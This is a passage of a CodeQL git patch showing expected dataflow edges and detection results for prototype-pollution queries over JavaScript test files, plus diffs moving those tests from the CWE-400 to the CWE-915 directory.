value | +| tests.js:431:13:431:44 | value | tests.js:436:24:436:28 | value | +| tests.js:431:13:431:44 | value | tests.js:436:24:436:28 | value | +| tests.js:431:13:431:44 | value | tests.js:436:24:436:28 | value | +| tests.js:431:13:431:44 | value | tests.js:436:24:436:28 | value | +| tests.js:431:13:431:44 | value | tests.js:436:24:436:28 | value | +| tests.js:431:21:431:44 | almostS ... c, key) | tests.js:431:13:431:44 | value | +| tests.js:431:21:431:44 | almostS ... c, key) | tests.js:431:13:431:44 | value | +| tests.js:431:21:431:44 | almostS ... c, key) | tests.js:431:13:431:44 | value | +| tests.js:431:21:431:44 | almostS ... c, key) | tests.js:431:13:431:44 | value | +| tests.js:431:21:431:44 | almostS ... c, key) | tests.js:431:13:431:44 | value | +| tests.js:431:21:431:44 | almostS ... c, key) | tests.js:431:13:431:44 | value | +| tests.js:431:36:431:38 | src | tests.js:431:21:431:44 | almostS ... c, key) | +| tests.js:431:36:431:38 | src | tests.js:431:21:431:44 | almostS ... c, key) | +| tests.js:431:41:431:43 | key | tests.js:431:21:431:44 | almostS ... c, key) | +| tests.js:432:13:432:45 | target | tests.js:434:37:434:42 | target | +| tests.js:432:13:432:45 | target | tests.js:434:37:434:42 | target | +| tests.js:432:22:432:45 | almostS ... t, key) | tests.js:432:13:432:45 | target | +| tests.js:432:22:432:45 | almostS ... t, key) | tests.js:432:13:432:45 | target | +| tests.js:432:37:432:39 | dst | tests.js:432:22:432:45 | almostS ... t, key) | +| tests.js:432:42:432:44 | key | tests.js:432:22:432:45 | almostS ... t, key) | +| tests.js:434:37:434:42 | target | tests.js:429:34:429:36 | dst | +| tests.js:434:37:434:42 | target | tests.js:429:34:429:36 | dst | +| tests.js:434:45:434:49 | value | tests.js:429:39:429:41 | src | +| tests.js:434:45:434:49 | value | tests.js:429:39:429:41 | src | +| tests.js:434:45:434:49 | value | tests.js:429:39:429:41 | src | +| tests.js:434:45:434:49 | value | tests.js:429:39:429:41 | src | +| tests.js:446:33:446:35 | src | tests.js:448:30:448:32 | src | +| tests.js:446:33:446:35 | src | tests.js:448:30:448:32 | src | +| tests.js:447:14:447:16 | key | tests.js:453:17:453:19 | key | +| tests.js:447:14:447:16 | key | tests.js:453:17:453:19 | key | +| tests.js:447:14:447:16 | key | tests.js:453:17:453:19 | key | +| tests.js:447:14:447:16 | key | tests.js:453:17:453:19 | key | +| tests.js:447:14:447:16 | key | tests.js:453:17:453:19 | key | +| tests.js:447:14:447:16 | key | tests.js:453:17:453:19 | key | +| tests.js:447:14:447:16 | key | tests.js:453:17:453:19 | key | +| tests.js:448:13:448:38 | value | tests.js:451:39:451:43 | value | +| tests.js:448:13:448:38 | value | tests.js:451:39:451:43 | value | +| tests.js:448:13:448:38 | value | tests.js:451:39:451:43 | value | +| tests.js:448:13:448:38 | value | tests.js:451:39:451:43 | value | +| tests.js:448:13:448:38 | value | tests.js:453:24:453:28 | value | +| tests.js:448:13:448:38 | value | tests.js:453:24:453:28 | value | +| tests.js:448:13:448:38 | value | tests.js:453:24:453:28 | value | +| tests.js:448:13:448:38 | value | tests.js:453:24:453:28 | value | +| tests.js:448:13:448:38 | value | tests.js:453:24:453:28 | value | +| tests.js:448:13:448:38 | value | tests.js:453:24:453:28 | value | +| tests.js:448:13:448:38 | value | tests.js:453:24:453:28 | value | +| tests.js:448:13:448:38 | value | tests.js:453:24:453:28 | value | +| tests.js:448:21:448:38 | safeRead(src, key) | tests.js:448:13:448:38 | value | +| tests.js:448:21:448:38 | safeRead(src, key) | tests.js:448:13:448:38 | value | +| tests.js:448:21:448:38 | safeRead(src, key) | tests.js:448:13:448:38 | value | +| tests.js:448:21:448:38 | safeRead(src, key) | tests.js:448:13:448:38 | value | +| tests.js:448:21:448:38 | safeRead(src, key) | tests.js:448:13:448:38 | value | +| tests.js:448:21:448:38 | safeRead(src, key) | tests.js:448:13:448:38 | value | +| tests.js:448:30:448:32 | src | tests.js:448:21:448:38 | safeRead(src, key) | +| tests.js:448:30:448:32 | src | tests.js:448:21:448:38 | safeRead(src, key) | +| tests.js:451:39:451:43 | value | tests.js:446:33:446:35 | src | +| tests.js:451:39:451:43 | value | tests.js:446:33:446:35 | src | +| tests.js:451:39:451:43 | value | tests.js:446:33:446:35 | src | +| tests.js:451:39:451:43 | value | tests.js:446:33:446:35 | src | +| tests.js:458:26:458:28 | dst | tests.js:462:29:462:31 | dst | +| tests.js:458:26:458:28 | dst | tests.js:462:29:462:31 | dst | +| tests.js:458:26:458:28 | dst | tests.js:465:30:465:32 | dst | +| tests.js:458:26:458:28 | dst | tests.js:465:30:465:32 | dst | +| tests.js:458:26:458:28 | dst | tests.js:465:30:465:32 | dst | +| tests.js:458:26:458:28 | dst | tests.js:465:30:465:32 | dst | +| tests.js:458:26:458:28 | dst | tests.js:466:30:466:32 | dst | +| tests.js:458:26:458:28 | dst | tests.js:466:30:466:32 | dst | +| tests.js:458:26:458:28 | dst | tests.js:466:30:466:32 | dst | +| tests.js:458:26:458:28 | dst | tests.js:466:30:466:32 | dst | +| tests.js:458:26:458:28 | dst | tests.js:467:30:467:32 | dst | +| tests.js:458:26:458:28 | dst | tests.js:467:30:467:32 | dst | +| tests.js:458:26:458:28 | dst | tests.js:467:30:467:32 | dst | +| tests.js:458:26:458:28 | dst | tests.js:467:30:467:32 | dst | +| tests.js:458:31:458:33 | src | tests.js:462:39:462:41 | src | +| tests.js:458:31:458:33 | src | tests.js:462:39:462:41 | src | +| tests.js:458:31:458:33 | src | tests.js:465:41:465:43 | src | +| tests.js:458:31:458:33 | src | tests.js:465:41:465:43 | src | +| tests.js:460:18:460:22 | value | tests.js:467:41:467:45 | value | +| tests.js:460:18:460:22 | value | tests.js:467:41:467:45 | value | +| tests.js:460:18:460:22 | value | tests.js:467:41:467:45 | value | +| tests.js:460:18:460:22 | value | tests.js:467:41:467:45 | value | +| tests.js:460:18:460:22 | value | tests.js:467:41:467:45 | value | +| tests.js:460:18:460:22 | value | tests.js:467:41:467:45 | value | +| tests.js:460:18:460:22 | value | tests.js:467:41:467:45 | value | +| tests.js:460:25:460:27 | key | tests.js:462:33:462:35 | key | +| tests.js:460:25:460:27 | key | tests.js:462:33:462:35 | key | +| tests.js:460:25:460:27 | key | tests.js:462:33:462:35 | key | +| tests.js:460:25:460:27 | key | tests.js:462:33:462:35 | key | +| tests.js:460:25:460:27 | key | tests.js:462:43:462:45 | key | +| tests.js:460:25:460:27 | key | tests.js:462:43:462:45 | key | +| tests.js:460:25:460:27 | key | tests.js:462:43:462:45 | key | +| tests.js:460:25:460:27 | key | tests.js:462:43:462:45 | key | +| tests.js:460:25:460:27 | key | tests.js:465:34:465:36 | key | +| tests.js:460:25:460:27 | key | tests.js:465:34:465:36 | key | +| tests.js:460:25:460:27 | key | tests.js:465:34:465:36 | key | +| tests.js:460:25:460:27 | key | tests.js:465:34:465:36 | key | +| tests.js:460:25:460:27 | key | tests.js:465:34:465:36 | key | +| tests.js:460:25:460:27 | key | tests.js:465:34:465:36 | key | +| tests.js:460:25:460:27 | key | tests.js:465:34:465:36 | key | +| tests.js:460:25:460:27 | key | tests.js:465:45:465:47 | key | +| tests.js:460:25:460:27 | key | tests.js:465:45:465:47 | key | +| tests.js:460:25:460:27 | key | tests.js:465:45:465:47 | key | +| tests.js:460:25:460:27 | key | tests.js:465:45:465:47 | key | +| tests.js:460:25:460:27 | key | tests.js:466:34:466:36 | key | +| tests.js:460:25:460:27 | key | tests.js:466:34:466:36 | key | +| tests.js:460:25:460:27 | key | tests.js:466:34:466:36 | key | +| tests.js:460:25:460:27 | key | tests.js:466:34:466:36 | key | +| tests.js:460:25:460:27 | key | tests.js:466:34:466:36 | key | +| tests.js:460:25:460:27 | key | tests.js:466:34:466:36 | key | +| tests.js:460:25:460:27 | key | tests.js:466:34:466:36 | key | +| tests.js:460:25:460:27 | key | tests.js:466:43:466:45 | key | +| tests.js:460:25:460:27 | key | tests.js:466:43:466:45 | key | +| tests.js:460:25:460:27 | key | tests.js:466:43:466:45 | key | +| tests.js:460:25:460:27 | key | tests.js:466:43:466:45 | key | +| tests.js:460:25:460:27 | key | tests.js:467:34:467:36 | key | +| tests.js:460:25:460:27 | key | tests.js:467:34:467:36 | key | +| tests.js:460:25:460:27 | key | tests.js:467:34:467:36 | key | +| tests.js:460:25:460:27 | key | tests.js:467:34:467:36 | key | +| tests.js:460:25:460:27 | key | tests.js:467:34:467:36 | key | +| tests.js:460:25:460:27 | key | tests.js:467:34:467:36 | key | +| tests.js:460:25:460:27 | key | tests.js:467:34:467:36 | key | +| tests.js:462:29:462:31 | dst | tests.js:462:29:462:36 | dst[key] | +| tests.js:462:29:462:31 | dst | tests.js:462:29:462:36 | dst[key] | +| tests.js:462:29:462:36 | dst[key] | tests.js:458:26:458:28 | dst | +| tests.js:462:29:462:36 | dst[key] | tests.js:458:26:458:28 | dst | +| tests.js:462:29:462:36 | dst[key] | tests.js:458:26:458:28 | dst | +| tests.js:462:29:462:36 | dst[key] | tests.js:458:26:458:28 | dst | +| tests.js:462:33:462:35 | key | tests.js:462:29:462:36 | dst[key] | +| tests.js:462:33:462:35 | key | tests.js:462:29:462:36 | dst[key] | +| tests.js:462:39:462:41 | src | tests.js:462:39:462:46 | src[key] | +| tests.js:462:39:462:41 | src | tests.js:462:39:462:46 | src[key] | +| tests.js:462:39:462:46 | src[key] | tests.js:458:31:458:33 | src | +| tests.js:462:39:462:46 | src[key] | tests.js:458:31:458:33 | src | +| tests.js:462:39:462:46 | src[key] | tests.js:458:31:458:33 | src | +| tests.js:462:39:462:46 | src[key] | tests.js:458:31:458:33 | src | +| tests.js:462:39:462:46 | src[key] | tests.js:458:31:458:33 | src | +| tests.js:462:39:462:46 | src[key] | tests.js:458:31:458:33 | src | +| tests.js:462:43:462:45 | key | tests.js:462:39:462:46 | src[key] | +| tests.js:462:43:462:45 | key | tests.js:462:39:462:46 | src[key] | +| tests.js:465:41:465:43 | src | tests.js:465:41:465:48 | src[key] | +| tests.js:465:41:465:43 | src | tests.js:465:41:465:48 | src[key] | +| tests.js:465:41:465:43 | src | tests.js:465:41:465:48 | src[key] | +| tests.js:465:41:465:43 | src | tests.js:465:41:465:48 | src[key] | +| tests.js:465:41:465:48 | src[key] | tests.js:465:41:465:48 | src[key] | +| tests.js:465:45:465:47 | key | tests.js:465:41:465:48 | src[key] | +| tests.js:465:45:465:47 | key | tests.js:465:41:465:48 | src[key] | +| tests.js:465:45:465:47 | key | tests.js:465:41:465:48 | src[key] | +| tests.js:465:45:465:47 | key | tests.js:465:41:465:48 | src[key] | +| tests.js:466:41:466:46 | o[key] | tests.js:466:41:466:46 | o[key] | +| tests.js:466:43:466:45 | key | tests.js:466:41:466:46 | o[key] | +| tests.js:466:43:466:45 | key | tests.js:466:41:466:46 | o[key] | +| tests.js:466:43:466:45 | key | tests.js:466:41:466:46 | o[key] | +| tests.js:466:43:466:45 | key | tests.js:466:41:466:46 | o[key] | +| tests.js:472:38:472:40 | dst | tests.js:475:41:475:43 | dst | +| tests.js:472:38:472:40 | dst | tests.js:475:41:475:43 | dst | +| tests.js:472:38:472:40 | dst | tests.js:477:13:477:15 | dst | +| tests.js:472:38:472:40 | dst | tests.js:477:13:477:15 | dst | +| tests.js:472:38:472:40 | dst | tests.js:477:13:477:15 | dst | +| tests.js:472:38:472:40 | dst | tests.js:477:13:477:15 | dst | +| tests.js:473:18:473:22 | value | tests.js:477:24:477:28 | value | +| tests.js:473:18:473:22 | value | tests.js:477:24:477:28 | value | +| tests.js:473:18:473:22 | value | tests.js:477:24:477:28 | value | +| tests.js:473:18:473:22 | value | tests.js:477:24:477:28 | value | +| tests.js:473:18:473:22 | value | tests.js:477:24:477:28 | value | +| tests.js:473:18:473:22 | value | tests.js:477:24:477:28 | value | +| tests.js:473:18:473:22 | value | tests.js:477:24:477:28 | value | +| tests.js:473:25:473:27 | key | tests.js:475:45:475:47 | key | +| tests.js:473:25:473:27 | key | tests.js:475:45:475:47 | key | +| tests.js:473:25:473:27 | key | tests.js:475:45:475:47 | key | +| tests.js:473:25:473:27 | key | tests.js:475:45:475:47 | key | +| tests.js:473:25:473:27 | key | tests.js:477:17:477:19 | key | +| tests.js:473:25:473:27 | key | tests.js:477:17:477:19 | key | +| tests.js:473:25:473:27 | key | tests.js:477:17:477:19 | key | +| tests.js:473:25:473:27 | key | tests.js:477:17:477:19 | key | +| tests.js:473:25:473:27 | key | tests.js:477:17:477:19 | key | +| tests.js:473:25:473:27 | key | tests.js:477:17:477:19 | key | +| tests.js:473:25:473:27 | key | tests.js:477:17:477:19 | key | +| tests.js:475:41:475:43 | dst | tests.js:475:41:475:48 | dst[key] | +| tests.js:475:41:475:43 | dst | tests.js:475:41:475:48 | dst[key] | +| tests.js:475:41:475:48 | dst[key] | tests.js:472:38:472:40 | dst | +| tests.js:475:41:475:48 | dst[key] | tests.js:472:38:472:40 | dst | +| tests.js:475:41:475:48 | dst[key] | tests.js:472:38:472:40 | dst | +| tests.js:475:41:475:48 | dst[key] | tests.js:472:38:472:40 | dst | +| tests.js:475:45:475:47 | key | tests.js:475:41:475:48 | dst[key] | +| tests.js:475:45:475:47 | key | tests.js:475:41:475:48 | dst[key] | +| tests.js:483:26:483:28 | dst | tests.js:487:29:487:31 | dst | +| tests.js:483:26:483:28 | dst | tests.js:489:13:489:15 | dst | +| tests.js:483:26:483:28 | dst | tests.js:489:13:489:15 | dst | +| tests.js:483:31:483:33 | src | tests.js:487:39:487:41 | src | +| tests.js:483:31:483:33 | src | tests.js:489:24:489:26 | src | +| tests.js:483:31:483:33 | src | tests.js:489:24:489:26 | src | +| tests.js:484:14:484:16 | key | tests.js:487:33:487:35 | key | +| tests.js:484:14:484:16 | key | tests.js:487:33:487:35 | key | +| tests.js:484:14:484:16 | key | tests.js:487:43:487:45 | key | +| tests.js:484:14:484:16 | key | tests.js:487:43:487:45 | key | +| tests.js:484:14:484:16 | key | tests.js:489:17:489:19 | key | +| tests.js:484:14:484:16 | key | tests.js:489:17:489:19 | key | +| tests.js:484:14:484:16 | key | tests.js:489:17:489:19 | key | +| tests.js:484:14:484:16 | key | tests.js:489:17:489:19 | key | +| tests.js:484:14:484:16 | key | tests.js:489:28:489:30 | key | +| tests.js:484:14:484:16 | key | tests.js:489:28:489:30 | key | +| tests.js:487:29:487:31 | dst | tests.js:487:29:487:36 | dst[key] | +| tests.js:487:29:487:36 | dst[key] | tests.js:483:26:483:28 | dst | +| tests.js:487:29:487:36 | dst[key] | tests.js:483:26:483:28 | dst | +| tests.js:487:33:487:35 | key | tests.js:487:29:487:36 | dst[key] | +| tests.js:487:39:487:41 | src | tests.js:487:39:487:46 | src[key] | +| tests.js:487:39:487:46 | src[key] | tests.js:483:31:483:33 | src | +| tests.js:487:39:487:46 | src[key] | tests.js:483:31:483:33 | src | +| tests.js:487:39:487:46 | src[key] | tests.js:483:31:483:33 | src | +| tests.js:487:39:487:46 | src[key] | tests.js:483:31:483:33 | src | +| tests.js:487:39:487:46 | src[key] | tests.js:483:31:483:33 | src | +| tests.js:487:43:487:45 | key | tests.js:487:39:487:46 | src[key] | +| tests.js:489:24:489:26 | src | tests.js:489:24:489:31 | src[key] | +| tests.js:489:24:489:26 | src | tests.js:489:24:489:31 | src[key] | +| tests.js:489:24:489:26 | src | tests.js:489:24:489:31 | src[key] | +| tests.js:489:24:489:26 | src | tests.js:489:24:489:31 | src[key] | +| tests.js:489:24:489:31 | src[key] | tests.js:489:24:489:31 | src[key] | +| tests.js:489:28:489:30 | key | tests.js:489:24:489:31 | src[key] | +| tests.js:489:28:489:30 | key | tests.js:489:24:489:31 | src[key] | +| tests.js:494:32:494:34 | src | tests.js:498:21:498:23 | src | +| tests.js:495:14:495:16 | key | tests.js:498:25:498:27 | key | +| tests.js:495:14:495:16 | key | tests.js:498:25:498:27 | key | +| tests.js:495:14:495:16 | key | tests.js:502:17:502:19 | key | +| tests.js:495:14:495:16 | key | tests.js:502:17:502:19 | key | +| tests.js:495:14:495:16 | key | tests.js:502:17:502:19 | key | +| tests.js:495:14:495:16 | key | tests.js:502:17:502:19 | key | +| tests.js:498:13:498:28 | value | tests.js:500:38:500:42 | value | +| tests.js:498:13:498:28 | value | tests.js:500:38:500:42 | value | +| tests.js:498:13:498:28 | value | tests.js:502:24:502:28 | value | +| tests.js:498:13:498:28 | value | tests.js:502:24:502:28 | value | +| tests.js:498:13:498:28 | value | tests.js:502:24:502:28 | value | +| tests.js:498:13:498:28 | value | tests.js:502:24:502:28 | value | +| tests.js:498:13:498:28 | value | tests.js:502:24:502:28 | value | +| tests.js:498:13:498:28 | value | tests.js:502:24:502:28 | value | +| tests.js:498:21:498:23 | src | tests.js:498:21:498:28 | src[key] | +| tests.js:498:21:498:28 | src[key] | tests.js:498:13:498:28 | value | +| tests.js:498:21:498:28 | src[key] | tests.js:498:13:498:28 | value | +| tests.js:498:21:498:28 | src[key] | tests.js:498:13:498:28 | value | +| tests.js:498:21:498:28 | src[key] | tests.js:498:13:498:28 | value | +| tests.js:498:21:498:28 | src[key] | tests.js:498:13:498:28 | value | +| tests.js:498:25:498:27 | key | tests.js:498:21:498:28 | src[key] | +| tests.js:500:38:500:42 | value | tests.js:494:32:494:34 | src | +| tests.js:500:38:500:42 | value | tests.js:494:32:494:34 | src | +#select +| examples/PrototypePollutingFunction.js:7:13:7:15 | dst | examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:7:13:7:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | examples/PrototypePollutingFunction.js:2:21:2:23 | src | src | examples/PrototypePollutingFunction.js:7:13:7:15 | dst | dst | +| path-assignment.js:15:13:15:18 | target | path-assignment.js:8:19:8:25 | keys[i] | path-assignment.js:15:13:15:18 | target | The property chain $@ is recursively assigned to $@ without guarding against prototype pollution. | path-assignment.js:8:19:8:25 | keys[i] | here | path-assignment.js:15:13:15:18 | target | target | +| path-assignment.js:44:5:44:10 | target | path-assignment.js:41:19:41:25 | keys[i] | path-assignment.js:44:5:44:10 | target | The property chain $@ is recursively assigned to $@ without guarding against prototype pollution. | path-assignment.js:41:19:41:25 | keys[i] | here | path-assignment.js:44:5:44:10 | target | target | +| path-assignment.js:61:5:61:10 | target | path-assignment.js:58:19:58:25 | keys[i] | path-assignment.js:61:5:61:10 | target | The property chain $@ is recursively assigned to $@ without guarding against prototype pollution. | path-assignment.js:58:19:58:25 | keys[i] | here | path-assignment.js:61:5:61:10 | target | target | +| path-assignment.js:71:5:71:10 | target | path-assignment.js:68:19:68:25 | keys[i] | path-assignment.js:71:5:71:10 | target | The property chain $@ is recursively assigned to $@ without guarding against prototype pollution. | path-assignment.js:68:19:68:25 | keys[i] | here | path-assignment.js:71:5:71:10 | target | target | +| tests.js:8:13:8:15 | dst | tests.js:4:14:4:16 | key | tests.js:8:13:8:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:4:21:4:23 | src | src | tests.js:8:13:8:15 | dst | dst | +| tests.js:18:13:18:15 | dst | tests.js:14:30:14:32 | key | tests.js:18:13:18:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:14:17:14:19 | src | src | tests.js:18:13:18:15 | dst | dst | +| tests.js:36:9:36:11 | dst | tests.js:25:18:25:20 | key | tests.js:36:9:36:11 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:25:25:25:30 | source | source | tests.js:36:9:36:11 | dst | dst | +| tests.js:46:13:46:15 | dst | tests.js:41:14:41:16 | key | tests.js:46:13:46:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:41:21:41:23 | src | src | tests.js:46:13:46:15 | dst | dst | +| tests.js:57:13:57:15 | dst | tests.js:52:14:52:16 | key | tests.js:57:13:57:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:52:21:52:23 | src | src | tests.js:57:13:57:15 | dst | dst | +| tests.js:109:13:109:15 | dst | tests.js:102:14:102:16 | key | tests.js:109:13:109:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:102:21:102:23 | src | src | tests.js:109:13:109:15 | dst | dst | +| tests.js:154:13:154:15 | dst | tests.js:150:14:150:16 | key | tests.js:154:13:154:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:150:21:150:23 | src | src | tests.js:154:13:154:15 | dst | dst | +| tests.js:196:13:196:15 | dst | tests.js:192:19:192:25 | keys[i] | tests.js:196:13:196:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:190:28:190:30 | src | src | tests.js:196:13:196:15 | dst | dst | +| tests.js:233:5:233:13 | map[key1] | tests.js:238:14:238:16 | key | tests.js:233:5:233:13 | map[key1] | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:238:21:238:24 | data | data | tests.js:233:5:233:13 | map[key1] | here | +| tests.js:270:13:270:15 | dst | tests.js:265:19:265:26 | entry[0] | tests.js:270:13:270:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:264:20:264:22 | src | src | tests.js:270:13:270:15 | dst | dst | +| tests.js:280:13:280:15 | dst | tests.js:276:34:276:36 | key | tests.js:280:13:280:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:276:21:276:23 | src | src | tests.js:280:13:280:15 | dst | dst | +| tests.js:308:17:308:19 | dst | tests.js:302:14:302:16 | key | tests.js:308:17:308:19 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:302:21:302:23 | src | src | tests.js:308:17:308:19 | dst | dst | +| tests.js:322:17:322:19 | dst | tests.js:315:14:315:16 | key | tests.js:322:17:322:19 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:315:21:315:23 | src | src | tests.js:322:17:322:19 | dst | dst | +| tests.js:357:17:357:22 | target | tests.js:350:37:350:39 | key | tests.js:357:17:357:22 | target | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:350:21:350:26 | source | source | tests.js:357:17:357:22 | target | target | +| tests.js:403:13:403:15 | dst | tests.js:381:14:381:16 | key | tests.js:403:13:403:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:381:21:381:23 | obj | obj | tests.js:403:13:403:15 | dst | dst | +| tests.js:419:13:419:15 | dst | tests.js:413:14:413:16 | key | tests.js:419:13:419:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:413:21:413:23 | src | src | tests.js:419:13:419:15 | dst | dst | +| tests.js:436:13:436:15 | dst | tests.js:430:14:430:16 | key | tests.js:436:13:436:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:430:21:430:23 | src | src | tests.js:436:13:436:15 | dst | dst | +| tests.js:465:30:465:32 | dst | tests.js:460:25:460:27 | key | tests.js:465:30:465:32 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:460:12:460:14 | src | src | tests.js:465:30:465:32 | dst | dst | +| tests.js:466:30:466:32 | dst | tests.js:460:25:460:27 | key | tests.js:466:30:466:32 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:460:12:460:14 | src | src | tests.js:466:30:466:32 | dst | dst | +| tests.js:467:30:467:32 | dst | tests.js:460:25:460:27 | key | tests.js:467:30:467:32 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:460:12:460:14 | src | src | tests.js:467:30:467:32 | dst | dst | +| tests.js:477:13:477:15 | dst | tests.js:473:25:473:27 | key | tests.js:477:13:477:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:473:12:473:14 | src | src | tests.js:477:13:477:15 | dst | dst | +| tests.js:489:13:489:15 | dst | tests.js:484:14:484:16 | key | tests.js:489:13:489:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:484:21:484:23 | src | src | tests.js:489:13:489:15 | dst | dst | diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/PrototypePollutingFunction.qlref b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/PrototypePollutingFunction.qlref new file mode 100644 index 00000000000..972db5adb99 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/PrototypePollutingFunction.qlref @@ -0,0 +1 @@ +Security/CWE-915/PrototypePollutingFunction.ql \ No newline at end of file diff --git a/javascript/ql/test/query-tests/Security/CWE-400/examples/PrototypePollutionUtility.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/examples/PrototypePollutingFunction.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-400/examples/PrototypePollutionUtility.js rename to javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/examples/PrototypePollutingFunction.js diff --git a/javascript/ql/test/query-tests/Security/CWE-400/examples/PrototypePollutionUtility_fixed.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/examples/PrototypePollutingFunction_fixed.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-400/examples/PrototypePollutionUtility_fixed.js rename to javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/examples/PrototypePollutingFunction_fixed.js diff --git a/javascript/ql/test/query-tests/Security/CWE-400/examples/PrototypePollutionUtility_fixed2.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/examples/PrototypePollutingFunction_fixed2.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-400/examples/PrototypePollutionUtility_fixed2.js rename to javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/examples/PrototypePollutingFunction_fixed2.js diff --git a/javascript/ql/test/query-tests/Security/CWE-400/PrototypePollutionUtility/path-assignment.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/path-assignment.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-400/PrototypePollutionUtility/path-assignment.js rename to javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/path-assignment.js diff --git a/javascript/ql/test/query-tests/Security/CWE-400/PrototypePollutionUtility/tests.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/tests.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-400/PrototypePollutionUtility/tests.js rename to javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/tests.js diff --git a/javascript/ql/test/query-tests/Security/CWE-400/PrototypePollution.expected b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/PrototypePollutingMergeCall.expected similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-400/PrototypePollution.expected rename to javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/PrototypePollutingMergeCall.expected diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/PrototypePollutingMergeCall.qlref b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/PrototypePollutingMergeCall.qlref new file mode 100644 index 00000000000..c25a469a4d0 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/PrototypePollutingMergeCall.qlref @@ -0,0 +1 @@ +Security/CWE-915/PrototypePollutingMergeCall.ql \ No newline at end of file diff --git a/javascript/ql/test/query-tests/Security/CWE-400/angularmerge.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/angularmerge.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-400/angularmerge.js rename to javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/angularmerge.js diff --git a/javascript/ql/test/query-tests/Security/CWE-400/src-non-vulnerable-lodash/package.json b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-non-vulnerable-lodash/package.json similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-400/src-non-vulnerable-lodash/package.json rename to javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-non-vulnerable-lodash/package.json diff --git a/javascript/ql/test/query-tests/Security/CWE-400/src-non-vulnerable-lodash/tst.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-non-vulnerable-lodash/tst.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-400/src-non-vulnerable-lodash/tst.js rename to javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-non-vulnerable-lodash/tst.js diff --git a/javascript/ql/test/query-tests/Security/CWE-400/src-vulnerable-lodash/package.json b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-vulnerable-lodash/package.json similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-400/src-vulnerable-lodash/package.json rename to javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-vulnerable-lodash/package.json diff --git a/javascript/ql/test/query-tests/Security/CWE-400/src-vulnerable-lodash/tst.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-vulnerable-lodash/tst.js similarity index 100% rename from javascript/ql/test/query-tests/Security/CWE-400/src-vulnerable-lodash/tst.js rename to javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-vulnerable-lodash/tst.js From daab3c143794af7244171e7a2c89a54d9eb84791 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Wed, 2 Dec 2020 11:07:39 +0000 Subject: [PATCH 0165/1241] JS: Add tests and fix some bugs --- .../dataflow/PrototypePollutingAssignment.qll | 29 ++++++++- .../Consistency.expected | 0 .../Consistency.ql | 7 ++ .../PrototypePollutingAssignment.expected | 47 ++++++++++++++ .../PrototypePollutingAssignment.qlref | 1 + .../PrototypePollutingAssignment/tst.js | 64 +++++++++++++++++++ 